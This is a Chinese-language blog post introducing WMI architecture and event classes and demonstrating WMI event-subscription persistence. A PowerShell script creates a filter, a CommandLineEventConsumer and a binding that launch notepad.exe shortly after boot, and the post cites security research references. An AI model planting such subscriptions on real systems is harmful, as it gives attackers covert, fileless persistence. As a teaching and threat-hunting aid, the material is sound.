WMI简介和Event驻留

时间:2021-03-11 20:46:49   收藏:0   阅读:0

??WMI (Windows Management Instrumentation,Windows管理规范) 从Windows 2000开始被包含于操作系统后,就一直是Windows操作系统的一部分。这项技术对于系统管理员来说具有巨大价值,因为它提供了提取所有类型信息、配置组件和基于系统数个组件的状态采取行动等方式。由于这种灵活性,且被早早地被包含于操作系统中,攻击者们便看到了它的潜力,并且已经开始滥用这项技术。

WMI 架构

技术图片

WMI 交互工具

远程 WMI

WMI 事件

1. WMI 事件类型

__NamespaceOperationEvent __ClassCreationEvent

__NamespaceModificationEvent __InstanceOperationEvent

__NamespaceDeletionEvent __InstanceCreationEvent

__NamespaceCreationEvent __MethodInvocationEvent

__ClassOperationEvent __InstanceModificationEvent

__ClassDeletionEvent __InstanceDeletionEvent

__ClassModificationEvent __TimerEvent

__ConsumerFailureEvent __EventDroppedEvent

__EventQueueOverflowEvent __MethodInvocationEvent

ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_IP4RouteTableEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\CIMV2:Win32_VolumeChangeEvent
ROOT\CIMV2:Msft_WmiProvider*
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent
... ...

2. WMI 事件 - Filters

3. WMI 事件 - Consumers

WMI 攻击

??WMI 脚本宿主进程:%SystemRoot%\system32\wbem\scrcons.exe

??这里只测试以下持久化驻留。

??最终效果是:系统启动后200至300秒间,相应事件每隔60秒进行一次的轮询触发,则执行notepad.exe。

$filterName = "testFilter"
$consumerName = ‘testComsumer‘
$binpath = ‘C:\windows\system32\notepad.exe‘
$query = "select * from __InstanceModificationEvent within 60 where TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System‘ AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUptime < 300"

# 创建Filter
$wmiEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query} -ErrorAction Stop

# 创建Consumer
$wmiEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -NameSpace "root\subscription" -Arguments @{Name=$consumerName;CommandLineTemplate=$binpath}

# 绑定Filter和COnsumer
Set-WmiInstance -Class __FilterToConsumerBinding -NameSpace "root\subscription" -Arguments @{Filter=$wmiEventFilter;Consumer=$wmiEventConsumer}

技术图片

技术图片

参考:

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor.pdf

https://www.darkoperator.com/blog/2017/10/14/basics-of-tracking-wmi-activity

https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/

https://threathunterplaybook.com/notebooks/windows/03_persistence/WIN-190810170510.html

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!